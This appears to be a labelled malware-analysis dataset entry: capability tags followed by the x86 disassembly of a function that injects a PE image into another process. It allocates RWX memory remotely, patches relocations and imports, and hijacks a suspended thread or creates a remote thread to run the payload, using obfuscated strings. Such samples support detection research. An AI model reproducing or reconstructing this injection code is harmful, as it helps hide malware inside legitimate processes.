Function at 0x4101a0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Inject pe
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4285de
mov eax, dword fs:[0]
push eax
sub esp, 0x514
mov eax, dword [0x432680]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov esi, ecx
lea ecx, [ebp - 0x520]
push ecx
mov dword [ebp - 0x44c], eax
mov edi, edx
call fcn.0040a2f0
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x478], ebx
mov dword [ebp - 0x474], ebx
mov dword [ebp - 0x470], ebx
mov dword [ebp - 0x468], ebx
mov dword [ebp - 0x464], ebx
mov dword [ebp - 0x460], ebx
push 0x20
mov byte [ebp - 4], 2
call fcn.00413607
add esp, 4
mov dword [ebp - 0x43c], eax
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x41023f
mov ecx, esi
push edi
push eax
call fcn.00410e20
mov esi, eax
mov dword [ebp - 0x438], esi
jmp 0x410247
mov dword [ebp - 0x438], ebx
mov esi, ebx
mov edx, dword [ebp - 0x44c]
push edx
push 0
push 0x1fffff
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov dword [ebp - 0x450], ebx
test ebx, ebx
je 0x410c11
mov eax, dword [esi + 4]
mov ecx, dword [eax + 0x50]
push 0x40
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
mov dword [ebp - 0x444], edi
je 0x410bc8
mov edx, dword [esi + 4]
mov eax, dword [edx + 0x50]
push 0x40
push 0x1000
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [ebp - 0x448], eax
je 0x410b64
mov ecx, dword [esi + 4]
movzx eax, word [ecx + 6]
mov dword [ebp - 0x430], 0
test eax, eax
jle 0x410381
lea edx, [ecx + 0x104]
mov dword [ebp - 0x42c], edx
xor ebx, ebx
add ecx, 0xf8
xor esi, esi
test eax, eax
mov edx, dword [ebp - 0x42c]
mov edx, dword [edx]
mov dword [ebp - 0x434], ebx
jle 0x41032d
jmp 0x410300
mov edi, dword [ecx + 0xc]
cmp edx, edi
jb 0x410316
mov ebx, dword [ecx + 0x10]
add ebx, edi
cmp edx, ebx
mov ebx, dword [ebp - 0x434]
jb 0x410327
add ecx, 0x28
lea edi, [eax - 1]
cmp esi, edi
jne 0x410322
xor ecx, ecx
inc esi
cmp esi, eax
jl 0x410300
mov edi, dword [ebp - 0x444]
test ecx, ecx
je 0x41033b
mov ebx, edx
mov eax, dword [ecx + 0xc]
sub eax, dword [ecx + 0x14]
sub ebx, eax
mov esi, dword [ebp - 0x438]
mov eax, dword [esi + 0xc]
add eax, ebx
mov ebx, dword [ebp - 0x42c]
mov ecx, dword [ebx + 4]
push ecx
push eax
add edx, edi
push edx
call fcn.00415230
mov edx, dword [ebp - 0x430]
mov ecx, dword [esi + 4]
movzx eax, word [ecx + 6]
inc edx
add ebx, 0x28
mov dword [ebp - 0x42c], ebx
add esp, 0xc
cmp edx, eax
mov dword [ebp - 0x430], edx
jl 0x4102df
mov ecx, dword [ebp - 0x438]
mov eax, dword [ecx + 4]
mov edx, dword [eax + 0xa4]
mov ebx, dword [eax + 0xa0]
mov esi, dword [ebp - 0x448]
sub esi, dword [eax + 0x34]
push ecx
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x434], edx
call fcn.00410ee0
lea ebx, [eax + 8]
movzx ecx, word [ebx]
mov edx, ecx
shr edx, 0xc
cmp edx, 3
jne 0x4103d0
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + edi], esi
add ebx, 2
mov ecx, dword [eax + 4]
add ecx, eax
cmp ebx, ecx
jb 0x4103b8
mov edx, dword [ebp - 0x430]
mov ecx, dword [eax + 4]
add edx, ecx
mov dword [ebp - 0x430], edx
add eax, ecx
cmp edx, dword [ebp - 0x434]
jb 0x4103b5
lea edx, [ebp - 0x468]
mov ecx, dword [ebp - 0x438]
push edx
call fcn.00410f50
mov esi, dword [ebp - 0x468]
mov eax, 0xe070381d
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x430], 0
sub ecx, esi
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x43c], eax
je 0x410567
add esi, 0x108
jmp 0x410450
lea eax, [esi - 0x108]
lea edi, [eax + 1]
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x434], esp
mov byte [ecx], 0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410475
sub eax, edi
lea ebx, [esi - 0x108]
push eax
push ebx
call fcn.004055d0
mov edi, dword [ebp - 0x44c]
push edi
call fcn.0040ff90
push edi
lea edi, [ebp - 0x118]
call fcn.00409a50
push 1
mov dword [ebp - 0x434], eax
push 0
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
je 0x4105fe
mov ecx, dword [esi]
sub ecx, dword [esi - 4]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
xor edi, edi
add ecx, edx
je 0x410542
mov eax, dword [ebp - 0x434]
sub eax, ebx
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x42c], edi
mov eax, dword [esi - 4]
add eax, dword [ebp - 0x42c]
cmp dword [eax + 0x14], 0x10
jb 0x410501
mov eax, dword [eax]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add eax, dword [ebp - 0x434]
mov edx, dword [esi + 0xc]
mov ecx, dword [edx + edi*4]
mov edx, dword [ebp - 0x444]
mov dword [edx + ecx], eax
mov ecx, dword [esi]
mov eax, 0x92492493
sub ecx, dword [esi - 4]
add dword [ebp - 0x42c], 0x1c
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc edi
add eax, edx
cmp edi, eax
jb 0x4104f0
mov eax, dword [ebp - 0x430]
inc eax
add esi, 0x124
mov dword [ebp - 0x430], eax
cmp eax, dword [ebp - 0x43c]
jb 0x410450
mov edi, dword [ebp - 0x444]
mov ebx, dword [ebp - 0x448]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x438]
mov edx, dword [ecx + 4]
mov eax, dword [eax]
mov esi, dword [edx + 0x28]
add esi, ebx
test eax, eax
jne 0x4109c0
push eax
push 4
mov dword [ebp - 0x134], 0x1c
mov dword [ebp - 0x408], 0x10007
mov dword [ebp - 0x42c], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea ecx, [ebp - 0x134]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
lea edx, [ebp - 0x134]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x410682
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x44c]
je 0x410676
lea ecx, [ebp - 0x134]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x4105d5
jmp 0x410682
push 0x42e474
lea edi, [ebp - 0x440]
push 0x15
call fcn.00401800
mov byte [ebp - 4], 4
mov ecx, dword [eax + 4]
mov dword [ebp - 0x414], 0xf
mov eax, ecx
lea esi, [eax + 1]
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410637
sub eax, esi
push eax
push ecx
lea ecx, [ebp - 0x428]
call fcn.004055d0
cmp dword [ebp - 0x414], 0x10
mov eax, dword [ebp - 0x428]
jae 0x410662
lea eax, [ebp - 0x428]
push 0
push 0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.00413a4a
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x42c], edx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x42c], 0xffffffff
je 0x41097e
mov eax, dword [ebp - 0x42c]
push eax
push 0
push 0x1fffff
mov dword [ebp - 0x428], 0xbc614e68
mov dword [ebp - 0x424], 0x6a9c6000
mov dword [ebp - 0x420], 0x68016a00
mov dword [ebp - 0x41c], 0xbc614e
mov dword [ebp - 0x418], 0x12dadeb8
mov dword [ebp - 0x414], 0x9dd0ff00
mov word [ebp - 0x410], 0xc361
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x410917
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [ebp - 0x408]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ecx, 6
mov eax, dword [ebp - 0x448]
mov edx, dword [ebp - 0x350]
mov dword [ebp - 0x417], esi
lea esi, [ebp - 0x428]
mov dword [ebp - 0x427], edx
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x438]
mov dword [ebp - 0x41c], eax
lea ecx, [ebp - 0x458]
mov eax, dword [edx + 4]
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x448]
mov edx, dword [ebp - 0x444]
push ecx
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x450]
push ecx
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x408]
push ecx
push ebx
mov dword [ebp - 0x408], 0x10007
mov dword [ebp - 0x350], esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x468]
test esi, esi
je 0x4107be
mov eax, esi
mov ecx, dword [ebp - 0x43c]
mov edx, dword [ebp - 0x464]
push ecx
push edx
call fcn.00410d10
push esi
call fcn.00413562
add esp, 0xc
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x450], eax
mov dword [ebp + edx - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0xc
lea eax, [ebp - 0x51c]
mov dword [ebp - 0x430], eax
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x4c8], 0
je 0x41083a
lea ecx, [ebp - 0x4d4]
mov edx, dword [ebp - 0x50c]
cmp dword [edx], ecx
jne 0x41083a
mov esi, dword [ebp - 0x4e0]
mov eax, dword [ebp - 0x4dc]
mov dword [edx], esi
mov ecx, eax
mov edx, dword [ebp - 0x4fc]
sub eax, ecx
mov dword [edx], ecx
mov ecx, dword [ebp - 0x4ec]
mov dword [ecx], eax
cmp byte [ebp - 0x4cc], 0
je 0x41084e
lea eax, [ebp - 0x51c]
call fcn.0040afd0
mov dword [ebp - method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x4e4]
test eax, eax
mov ebx, eax
je 0x4108b6
mov edi, dword [eax]
test edi, edi
je 0x4108ad
lea ecx, [ebp - 0x43c]
push 0
call fcn.00412542
mov eax, dword [edi + 4]
test eax, eax
je 0x41088b
cmp eax, 0xffffffff
jae 0x41088b
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
lea ecx, [ebp - 0x43c]
neg esi
sbb esi, esi
not esi
call fcn.0041256a
and esi, edi
je 0x4108ad
mov ecx, esi
mov edx, dword [esi]
mov eax, dword [edx]
push 1
call eax
push ebx
call fcn.00413562
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x518]
call fcn.0041259b
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x4c0]
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00412071
mov ecx, dword [ebp - 0xc]
add esp, 4
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
pop esi
pop ebx
call fcn.00412a15
mov esp, ebp
pop ebp
ret 8
push 0x42e4a0
push 0x15
lea edi, [ebp - 0x440]
call fcn.00401800
mov byte [ebp - 4], 5
mov ecx, dword [eax + 4]
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov eax, ecx
lea esi, [eax + 1]
mov byte [ebp - 0x428], 0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410950
sub eax, esi
push eax
push ecx
lea ecx, [ebp - 0x428]
call fcn.004055d0
cmp dword [ebp - 0x414], 0x10
mov eax, dword [ebp - 0x428]
jae 0x410662
jmp 0x41065c
push str.vMBAOF
push 0x15
lea edi, [ebp - 0x440]
call fcn.00401800
mov byte [ebp - 4], 6
mov ecx, dword [eax + 4]
mov eax, ecx
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4109b7
jmp 0x410957
cmp eax, 1
jne 0x410796
mov al, 0x6a
mov dword [ebp - 0x420], 0x16a006a
xor al, al
mov edx, dword [ebp - 0x420]
mov dword [edi], edx
mov dword [ebp - 0x41b], ebx
mov dword [ebp - 0x416], esi
mov esi, dword [ebp - 0x450]
mov byte [ebp - 0x41c], 0x68
mov ecx, dword [ebp - 0x41c]
mov dword [edi + 4], ecx
mov byte [ebp - 0x417], 0xb8
mov edx, dword [ebp - 0x418]
mov dword [edi + 8], edx
mov dword [ebp - 0x412], 0x4c2d0ff
mov ecx, dword [ebp - 0x414]
mov dx, word [ebp - 0x410]
mov dword [edi + 0xc], ecx
mov ecx, dword [ebp - 0x438]
mov word [edi + 0x10], dx
mov byte [edi + 0x12], al
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x458]
push eax
mov eax, dword [edx + 0x50]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x410b3d
mov ecx, dword [ebp - 0x438]
mov edx, dword [ecx + 4]
mov eax, dword [ebp - 0x458]
cmp eax, dword [edx + 0x50]
jne 0x410af8
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x410a8e
cmp eax, 0xffffffff
jne 0x410796
push 1
push str._pKDGI_
push 0x17
lea edi, [ebp - 0x454]
call fcn.00401800
mov byte [ebp - 4], 7
mov esi, dword [eax + 4]
sub esp, 0x1c
mov ecx, esp
mov eax, esi
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x43c], esp
mov byte [ecx], 0
lea edi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410ad0
sub eax, edi
push eax
push esi
call fcn.004055d0
call fcn.00409b10
add esp, 0x20
lea ecx, [ebp - 0x454]
call fcn.00401870
jmp 0x410796
push 0x42e4f8
lea edi, [ebp - 0x440]
push 0x16
call fcn.00401800
mov byte [ebp - 4], 8
mov ecx, dword [eax + 4]
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410b31
jmp 0x410957
push 0x18
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
push str.Unable_to_write_payload_n
jmp 0x41095b
push 1
push str._zANMCJ
push 0x2b
lea edi, [ebp - 0x454]
call fcn.00401800
mov byte [ebp - 4], 9
mov esi, dword [eax + 4]
sub esp, 0x1c
mov ecx, esp
mov eax, esi
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x43c], esp
mov byte [ecx], 0
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x410ba0
sub eax, edi
push eax
push esi
call fcn.004055d0
call fcn.00409b10
add esp, 0x20
lea ecx, [ebp - 0x454]
call fcn.00401870
jmp 0x4107be
push 0x42e584
push 0x1f
lea edi, [ebp - 0x440]
call fcn.00401800
mov byte [ebp - 4], 0xa
mov edx, dword [eax + 4]
mov eax, edx
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410c01
sub eax, esi
push eax
push edx
jmp 0x41095b
push str._tghkel_f_fylg_ahgmel_f_ldfl_yfjlzz_t
push 0x27
lea edi, [ebp - 0x440]
call fcn.00401800
mov byte [ebp - 4], 0xb
lea ebx, [ebx]
mov edx, dword [eax + 4]
mov dword [ebp - 0x414], 0xf
mov eax, edx
mov dword [ebp - 0x418], 0
lea esi, [eax + 1]
mov byte [ebp - 0x428], 0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410c50
sub eax, esi
push eax
push edx
jmp 0x41095b